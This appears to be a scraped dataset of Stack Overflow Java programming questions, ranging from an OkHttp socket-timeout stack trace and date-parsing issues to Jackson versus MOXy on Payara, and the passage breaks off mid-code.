com.microsoft.graph.http.CoreHttpProvider.sendRequestInternal ( CoreHttpProvider.java:422 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.send ( CoreHttpProvider.java:204 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.send ( CoreHttpProvider.java:184 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.BaseStreamRequest.send ( BaseStreamRequest.java:85 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.requests.extensions.DriveItemStreamRequest.get ( DriveItemStreamRequest.java:55 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.provider.onedrive.OnedriveServiceClient.download ( OnedriveServiceClient.java:236 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.provider.onedrive.OnedriveFile.download ( OnedriveFile.java:42 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.model.wrapper.RemoteFile.download ( RemoteFile.java:20 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.task.LocalFileDownloadSyncTask.downloadIntoTemp ( LocalFileDownloadSyncTask.java:71 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.task.LocalFileDownloadSyncTask.execute ( LocalFileDownloadSyncTask.java:54 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.Syncer.lambda $ taskRunner $ 1 ( Syncer.java:66 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:515 ) [ ? : ? ] at java.util.concurrent.FutureTask.run ( FutureTask.java:264 ) [ ? : ? ] at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1128 ) [ ? : ? ] at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:628 ) [ ? : ? ] at java.lang.Thread.run ( Thread.java:834 ) [ ? : ? ] Caused by : java.net.SocketTimeoutException : timeout at okhttp3.internal.http2.Http2Stream $ StreamTimeout.newTimeoutException ( Http2Stream.java:656 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Stream $ StreamTimeout.exitAndThrowIfTimedOut ( Http2Stream.java:664 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Stream.takeHeaders ( Http2Stream.java:153 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Codec.readResponseHeaders ( Http2Codec.java:131 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.CallServerInterceptor.intercept ( CallServerInterceptor.java:88 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.ConnectInterceptor.intercept ( ConnectInterceptor.java:45 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:121 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.cache.CacheInterceptor.intercept ( CacheInterceptor.java:93 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:121 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.BridgeInterceptor.intercept ( BridgeInterceptor.java:93 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RetryAndFollowUpInterceptor.intercept ( RetryAndFollowUpInterceptor.java:126 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:121 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.TelemetryHandler.intercept ( TelemetryHandler.java:35 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:121 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.RedirectHandler.intercept ( RedirectHandler.java:123 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:121 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.RetryHandler.intercept ( RetryHandler.java:140 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:121 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.AuthenticationHandler.intercept ( AuthenticationHandler.java:31 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:147 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.java:121 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.RealCall.getResponseWithInterceptorChain ( RealCall.java:254 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.RealCall.execute ( RealCall.java:92 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.sendRequestInternal ( CoreHttpProvider.java:356 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] ... 15 more Caused by : java.net.SocketTimeoutException : timeout at okhttp3.internal.http2.Http2Stream $ StreamTimeout.newTimeoutException ( Http2Stream.java:656 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Stream $ StreamTimeout.exitAndThrowIfTimedOut ( Http2Stream.java:664 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Stream $ FramingSource.read ( Http2Stream.java:398 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Codec $ StreamFinishingSource.read ( Http2Codec.java:205 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okio.RealBufferedSource $ 1.read ( RealBufferedSource.java:439 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at java.io.BufferedInputStream.fill ( BufferedInputStream.java:252 ) ~ [ ? : ? ] at java.io.BufferedInputStream.read1 ( BufferedInputStream.java:292 ) ~ [ ? : ? ] at java.io.BufferedInputStream.read ( BufferedInputStream.java:351 ) ~ [ ? : ? ] at java.io.FilterInputStream.read ( FilterInputStream.java:107 ) ~ [ ? : ? ] at easybox.provider.onedrive.OnedriveServiceClient.download ( OnedriveServiceClient.java:239 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.provider.onedrive.OnedriveFile.download ( OnedriveFile.java:42 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] ... 9 more com.microsoft.graph.core.ClientException : Error during http request at com.microsoft.graph.http.CoreHttpProvider.sendRequestInternal ( CoreHttpProvider.java:422 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.send ( CoreHttpProvider.java:204 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.send ( CoreHttpProvider.java:184 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.BaseStreamRequest.send ( BaseStreamRequest.java:85 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.requests.extensions.DriveItemStreamRequest.get ( DriveItemStreamRequest.java:55 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.provider.onedrive.OnedriveServiceClient.download ( OnedriveServiceClient.java:236 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.provider.onedrive.OnedriveFile.download ( OnedriveFile.java:42 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.model.wrapper.RemoteFile.download ( RemoteFile.java:20 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.task.LocalFileDownloadSyncTask.downloadIntoTemp ( LocalFileDownloadSyncTask.java:71 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.task.LocalFileDownloadSyncTask.execute ( LocalFileDownloadSyncTask.java:54 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.Syncer.lambda $ taskRunner $ 1 ( Syncer.java:66 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:515 ) [ ? : ? ] at java.util.concurrent.FutureTask.run ( FutureTask.java:264 ) [ ? : ? ] at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1128 ) [ ? : ? ] at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:628 ) [ ? : ? ] at java.lang.Thread.run ( Thread.java:834 ) [ ? : ? ] Caused by : java.net.SocketTimeoutException : timeout at okhttp3.internal.http2.Http2Stream $ StreamTimeout.newTimeoutException ( Http2Stream.kt:677 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Stream $ StreamTimeout.exitAndThrowIfTimedOut ( Http2Stream.kt:686 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2Stream.takeHeaders ( Http2Stream.kt:143 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2ExchangeCodec.readResponseHeaders ( Http2ExchangeCodec.kt:96 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.Exchange.readResponseHeaders ( Exchange.kt:106 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.CallServerInterceptor.intercept ( CallServerInterceptor.kt:79 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.ConnectInterceptor.intercept ( ConnectInterceptor.kt:34 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.cache.CacheInterceptor.intercept ( CacheInterceptor.kt:96 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.BridgeInterceptor.intercept ( BridgeInterceptor.kt:83 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RetryAndFollowUpInterceptor.intercept ( RetryAndFollowUpInterceptor.kt:76 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.TelemetryHandler.intercept ( TelemetryHandler.java:35 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.RedirectHandler.intercept ( RedirectHandler.java:123 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.RetryHandler.intercept ( RetryHandler.java:140 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.AuthenticationHandler.intercept ( AuthenticationHandler.java:31 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.RealCall.getResponseWithInterceptorChain $ okhttp ( RealCall.kt:197 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.RealCall.execute ( RealCall.kt:148 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.sendRequestInternal ( CoreHttpProvider.java:356 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] ... 15 more com.microsoft.graph.core.ClientException : Error during http request at com.microsoft.graph.http.CoreHttpProvider.sendRequestInternal ( CoreHttpProvider.java:422 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.send ( CoreHttpProvider.java:204 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.send ( CoreHttpProvider.java:184 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.BaseStreamRequest.send ( BaseStreamRequest.java:85 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.requests.extensions.DriveItemStreamRequest.get ( DriveItemStreamRequest.java:55 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.provider.onedrive.OnedriveServiceClient.download ( OnedriveServiceClient.java:236 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.provider.onedrive.OnedriveFile.download ( OnedriveFile.java:42 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.model.wrapper.RemoteFile.download ( RemoteFile.java:20 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.task.LocalFileDownloadSyncTask.downloadIntoTemp ( LocalFileDownloadSyncTask.java:71 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.task.LocalFileDownloadSyncTask.execute ( LocalFileDownloadSyncTask.java:54 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at easybox.syncing.Syncer.lambda $ taskRunner $ 1 ( Syncer.java:66 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at java.util.concurrent.Executors $ RunnableAdapter.call ( Executors.java:515 ) [ ? : ? ] at java.util.concurrent.FutureTask.run ( FutureTask.java:264 ) [ ? : ? ] at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1128 ) [ ? : ? ] at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:628 ) [ ? : ? ] at java.lang.Thread.run ( Thread.java:834 ) [ ? : ? ] Caused by : okhttp3.internal.http2.StreamResetException : stream was reset : CANCEL at okhttp3.internal.http2.Http2Stream.takeHeaders ( Http2Stream.kt:148 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http2.Http2ExchangeCodec.readResponseHeaders ( Http2ExchangeCodec.kt:96 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.Exchange.readResponseHeaders ( Exchange.kt:106 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.CallServerInterceptor.intercept ( CallServerInterceptor.kt:79 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.ConnectInterceptor.intercept ( ConnectInterceptor.kt:34 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.cache.CacheInterceptor.intercept ( CacheInterceptor.kt:96 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.BridgeInterceptor.intercept ( BridgeInterceptor.kt:83 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RetryAndFollowUpInterceptor.intercept ( RetryAndFollowUpInterceptor.kt:76 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.TelemetryHandler.intercept ( TelemetryHandler.java:35 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.RedirectHandler.intercept ( RedirectHandler.java:123 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.RetryHandler.intercept ( RetryHandler.java:140 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.httpcore.AuthenticationHandler.intercept ( AuthenticationHandler.java:31 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.http.RealInterceptorChain.proceed ( RealInterceptorChain.kt:100 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.RealCall.getResponseWithInterceptorChain $ okhttp ( RealCall.kt:197 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at okhttp3.internal.connection.RealCall.execute ( RealCall.kt:148 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] at com.microsoft.graph.http.CoreHttpProvider.sendRequestInternal ( CoreHttpProvider.java:356 ) ~ [ easybox-0.1-SNAPSHOT.jar : ? ] ... 15 more,SocketTimeout on Java 11 but not on Java 8 +Java,Suppose I do : where VeryLargeObject is a GWT resource interface which extends com.google.gwt.i18n.client.Messages.Will this code create 1000 new instances of the object in the browser ? Or is GWT smart enough to detect that VeryLargeObject is immutable and re-use it 's 1 instance every time ? EDIT : I found this in docs but the behaviour is still not clear to me : Using GWT.create ( class ) to `` instantiate '' an interface that extends Messages returns an instance of an automatically generated subclass that is implemented using message templates selected based on locale .,VeryLargeObject o1 = GWT.create ( VeryLargeObject.class ( ) ; VeryLargeObject o2 = GWT.create ( VeryLargeObject.class ( ) ; ... VeryLargeObject o1000 = GWT.create ( VeryLargeObject.class ( ) ;,Does GWT.create ( ) always create a new object in browser memory ? +Java,"I would like to embed Clojure code into Java . This site was helpful in the basics of setting this up , but the only arg it ever passes is of type String . I have tried using ints as well , and those also work.My question is whether there is some formatted way to pass in structured data to Clojure . In particular , I have a list of points I would like to pass to Clojure and turn into a vector that would look something like this : What is the easiest way to go about doing this ? Is there preprocessing I can do on Java 's end , or should I do postprocessing on Clojure 's end , or is there something in Clojure that will handle this ? I suspect it 's passing in a String of numbers and the length of each tuple to Clojure , and letting it process the String into a vector . However , this aspect of Clojure does n't have many examples , and I 'm curious if I 'm missing something obvious.EDIT : Please look at mikera 's answer is you 're interested in passing in Java Objects . Please look at my answer below if you just want to format your data ahead of time into a Clojure format for a set/map/etc .",[ [ 1 2 ] [ 3 4 ] [ 5 6 ] ],Passing Args to Clojure from Java +Java,"I 'm not sure how to start this . I have ridiculous NullPointerException in a place where it should not be . I do n't expect much from the answers since the situation looks like an anomaly , but the question and the answer ( if I finally find one ) may be useful in education purposes . If it wo n't be , I 'll probably delete the question.At first readonly variable was not final , so I though it could be an unsafe publication effect , but now I have no ideas . There are no reflection tricks with these variable in our code , but some methods of this class descendants are proxied with aspectj.Update with aop details","Caused by : java.lang.NullPointerException at com.ah.dao.hbase.Snapshotable.lock ( Snapshotable.java:17 ) at com.ah.pipeline.dump.DumpController.dump ( DumpController.java:78 ) 07 : public abstract class Snapshotable { 08 : private final AtomicBoolean readonly = new AtomicBoolean ( false ) ; 09:10 : abstract public TableSuit getTableInfo ( ) ; 11:12 : public boolean locked ( ) { 13 : return readonly.get ( ) ; 14 : } 15:16 : public final void lock ( ) { 17 : readonly.set ( true ) ; < -- happens here18 : } 19:20 : public final void release ( ) { 21 : readonly.set ( false ) ; 22 : } 23 : } @ Servicepublic class HDao extends Snapshotable { @ PerformanceMonitoring public void save ( PatchEvent patchEvent ) { if ( locked ( ) ) { throw new DumpException ( tableName ) ; } @ Aspect @ Componentpublic class PMAdvice { @ Around ( value = `` @ annotation ( performanceMonitoring ) '' , argNames = `` jp , p '' ) public Object saveEvent ( ProceedingJoinPoint jp , PerformanceMonitoring p ) throws Throwable { // basic stuff",Weird NullPointerException when accessing final field +Java,I am trying to parse a String that looks like : so i figured I 'll usebut it assumed the months are 1-based . In this case the month ( 2 ) is March . How can i tell SimpleDateFormat or any other class to parse with zero-based months ?,"2015 , 2 , 31 , 17 , 0 , 1 SimpleDateFormat ( `` yyyy , MM , dd , hh , mm , ss '' )",Parsing zero-based month strings in java +Java,I have the following code : which produces the following output : Is there a way to tweak a NumberFormat to recognize both an upper- and lower-case E as the exponent separator ? Is there a best work-around ? Anything better than running toUpper ( ) on the input first ?,NumberFormat numberInstance = NumberFormat.getNumberInstance ( ) ; System.out.println ( numberInstance.parse ( `` 6.543E-4 '' ) ) ; System.out.println ( numberInstance.parse ( `` 6.543e-4 '' ) ) ; 6.543E-46.543,How to create a NumberFormat in Java that supports both an upper-case and a lower-case E as an Exponent Separator ? +Java,"I have a Map < String , List < Object > > .How can I make it into a Stream of Entry < String , Object > so that I can construct a concatenated query String ? intoI 'm , currently , doing this .","q1 a , bq2 c , d q1=a & q1=b & q2=c & q2=d if ( params ! = null & & ! params.isEmpty ( ) ) { final boolean [ ] flag = new boolean [ 1 ] ; params.forEach ( ( n , vs ) - > { vs.forEach ( v - > { builder.append ( flag [ 0 ] ? ' & ' : ' ? ' ) .append ( n ) .append ( '= ' ) .append ( v ) ; if ( ! flag [ 0 ] ) { flag [ 0 ] = true ; } } ) ; } ) ; }","How can I stream a Map < String , List < Object > > into a Stream < Entry < String , Object > > ?" +Java,"I have really simple program here : But it behaves differently on JVM 8 and JVM 10 . The problem seems to be implementation of WeekFields.of ( Locale.GERMAN ) .weekOfYear ( ) .On JVM 10 I get following results : whereas on JVM 8 : Why is this happening ? Am I doing something , that could potentially cause undefined behavior ? Or is this change in behavior somewhere specified ? JVM10 : JVM8EDIT : JVM 9 has same behavior as JVM 8 and JVM 11 behaves like JVM 10EDIT 2 : I actually found the commit which changed the behavior - > here on github and I 'm curious why this was changed .","public static void main ( String [ ] args ) { LocalDate year = LocalDate.ofYearDay ( 2022 , 100 ) ; System.out.println ( year ) ; System.out.println ( WeekFields.of ( Locale.GERMAN ) .weekOfYear ( ) ) ; System.out.println ( year.with ( WeekFields.of ( Locale.GERMAN ) .weekOfYear ( ) , 0 ) ) ; System.out.println ( year.with ( WeekFields.of ( Locale.GERMAN ) .weekOfYear ( ) , 0 ) .with ( TemporalAdjusters.previousOrSame ( DayOfWeek.MONDAY ) ) ) ; } JVM 102022-04-10WeekOfYear [ WeekFields [ SUNDAY,1 ] ] 2021-12-192021-12-13 JVM 82022-04-10WeekOfYear [ WeekFields [ MONDAY,4 ] ] 2022-01-022021-12-27 $ java -versionopenjdk version `` 10.0.2 '' 2018-07-17OpenJDK Runtime Environment ( build 10.0.2+13-Ubuntu-1ubuntu0.18.04.4 ) OpenJDK 64-Bit Server VM ( build 10.0.2+13-Ubuntu-1ubuntu0.18.04.4 , mixed mode ) $ java -versionopenjdk version `` 1.8.0_191 '' OpenJDK Runtime Environment ( build 1.8.0_191-8u191-b12-2ubuntu0.18.04.1-b12 ) OpenJDK 64-Bit Server VM ( build 25.191-b12 , mixed mode )",Different behavior of WeekFields on JVM 8 and JVM 10 +Java,"Java allows for certain keywords to be followed by a statement or a statement block . For example : compiles as well asThis is also true for keywords like for , while etc.However , some keywords do n't allow this . synchronized requires a block statement . Same for try ... catch ... finally , which requires at least two block statements following the keywords . For example : works , but the following does n't compile : So why do some keywords in Java require a block statement , while others allow a block statement as well as a single statement ? Is this an inconsistency in language design , or is there a certain reason for this ?",if ( true ) System.out.println ( `` true '' ) ; do System.out.println ( `` true '' ) ; while ( true ) ; if ( true ) { System.out.println ( `` true '' ) ; } do { System.out.println ( `` true '' ) ; } while ( true ) ; try { System.out.println ( `` try '' ) ; } finally { System.out.println ( `` finally '' ) ; } synchronized ( this ) { System.out.println ( `` synchronized '' ) ; } try System.out.println ( `` try '' ) ; finally System.out.println ( `` finally '' ) ; synchronized ( this ) System.out.println ( `` synchronized '' ) ;,Why do try/catch or synchronized in Java require a statement block ? +Java,"I read a lot about how to replace jackson for moxy on payara 5 but never achieve a good solution , so I create a small project and hope that someone can help me.pom.xmlApp.javaSimpleService.javaPojoEntity.javaAfter deploy this micro application into payara 5 and request the endpoint http : //localhost:8080/micro-sample/api/sample/greet2 the result is ( as expected ) : Payara is using Jackson instead of moxy . : ) Nice ! ! ! ==============================================My problem is when I use microprofile to reach my own endpoint : SimpleServiceMicroprofileApi.javaMicroService.javaAnd add this line on App.java on getClasses method : After the redeploy with this modifications we can access http : //localhost:8080/micro-sample/api/micro/recallGreet2 and the result is : Apparently microprofile keeps using moxy and ignore PojoEntity property `` differentName '' .Anyone know a way to completely replace moxy for jackson in this example ? This project is available here to make it possible to test this situation . : ) Payara version : 5.183Thanks in advance .","< dependencies > < dependency > < groupId > javax < /groupId > < artifactId > javaee-web-api < /artifactId > < version > $ { version.javaee } < /version > < scope > provided < /scope > < /dependency > < ! -- https : //mvnrepository.com/artifact/org.glassfish.jersey.media/jersey-media-json-jackson -- > < dependency > < groupId > org.glassfish.jersey.media < /groupId > < artifactId > jersey-media-json-jackson < /artifactId > < version > 2.27 < /version > < /dependency > < dependency > < groupId > org.eclipse.microprofile < /groupId > < artifactId > microprofile < /artifactId > < type > pom < /type > < version > 1.4 < /version > < /dependency > < dependencies > import javax.ws.rs.ApplicationPath ; import javax.ws.rs.core.Application ; import org.glassfish.jersey.jackson.JacksonFeature ; @ ApplicationPath ( `` /api '' ) public class App extends Application { @ Overridepublic Set < Class < ? > > getClasses ( ) { Set < Class < ? > > resources = new java.util.HashSet < > ( ) ; resources.add ( JacksonFeature.class ) ; resources.add ( SimpleService.class ) ; return resources ; } } @ Path ( `` sample '' ) public class SimpleService { @ Path ( `` greet2 '' ) @ GET @ Produces ( MediaType.APPLICATION_JSON ) public PojoEntity doGreet2 ( ) { PojoEntity pojoEntity = new PojoEntity ( ) ; pojoEntity.setTeste1 ( `` TesteValue1 '' ) ; pojoEntity.setTeste2 ( `` TesteValue2 '' ) ; return pojoEntity ; } } public class PojoEntity { private String teste1 ; @ JsonProperty ( `` differentName '' ) private String teste2 ; //getters and setters } { `` teste1 '' : '' TesteValue1 '' , '' differentName '' : '' TesteValue2 '' } import javax.enterprise.context.Dependent ; import javax.ws.rs.GET ; import javax.ws.rs.Path ; import javax.ws.rs.Produces ; import javax.ws.rs.core.MediaType ; import org.eclipse.microprofile.rest.client.inject.RegisterRestClient ; @ Dependent @ RegisterRestClient @ Produces ( MediaType.APPLICATION_JSON ) public interface SimpleServiceMicroprofileApi { @ Path ( `` api/sample/greet2 '' ) @ GET @ Produces ( MediaType.APPLICATION_JSON ) public PojoEntity recallGreet2 ( ) ; } package fish.payara.micro.sample ; import java.net.MalformedURLException ; import java.net.URL ; import javax.ws.rs.GET ; import javax.ws.rs.Path ; import javax.ws.rs.Produces ; import javax.ws.rs.core.MediaType ; import org.eclipse.microprofile.rest.client.RestClientBuilder ; @ Path ( `` micro '' ) public class MicroService { @ Path ( `` recallGreet2 '' ) @ GET @ Produces ( 